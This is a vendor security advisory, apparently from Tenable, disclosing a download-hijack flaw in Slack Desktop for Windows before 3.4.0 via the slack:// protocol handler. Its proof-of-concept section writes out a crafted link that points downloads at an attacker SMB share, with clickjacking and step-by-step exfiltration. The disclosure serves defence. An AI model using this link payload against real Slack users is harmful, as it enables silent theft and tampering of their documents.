Slack Desktop Application for Windows Download Hijack

Tenable has discovered a vulnerability affecting Slack Desktop Application for Windows (versions prior to 3.4.0) that could allow attackers to steal downloaded documents.

An attacker can abuse the "slack://" protocol handler which has the capability of changing sensitive settings in the Slack Desktop Application. Crafting a link such as “slack://settings/?update={‘PrefSSBFileDownloadPath’:’<newDownloadLocation>’}” will persitently change the default document download location if clicked. This new target download location can be an Attacker owned SMB share, which cause all future downloaded documents to be instantly uploaded to attacker's server, which can result in them be stolen or and even having their contents manipulated before victim opens them after download. Furthermore this attack can be concealed via clickjacking by using the "attachment" feature in slack API, which allows hyperlink's actual URI to be replaced with custom text.

The attack can be performed through any means that may get hyperlinked text to render in a Slack channel or Slack direct messaging. This includes authenticated vectors, where rouge Slack channel member sends link to group or individual through direct messaging, as well as unauthenticated vectors, such as external .RSS feeds or other externally pulled content that may hyperlink text in a slack channel.

Proof of Concept

1. Attacker posts masqueraded hyperlink of "slack://settings/?update={‘PrefSSBFileDownloadPath’:'\\\\SMB-ip-address\\share’}" with misleading hyperlink text using "attachments" slack API feature.
2. Victim clicks link, Slack default download location is silently changed.
3. Victim downloads a document through Slack Application via private message or Slack channel. Downloaded document is immediately uploaded to attacker's SMB share.
4. Document is now in Attacker's hands, which can choose to modify or simply steal.
5. Victim can still open the downloaded document through application, however it will be from the attacker's SMB share.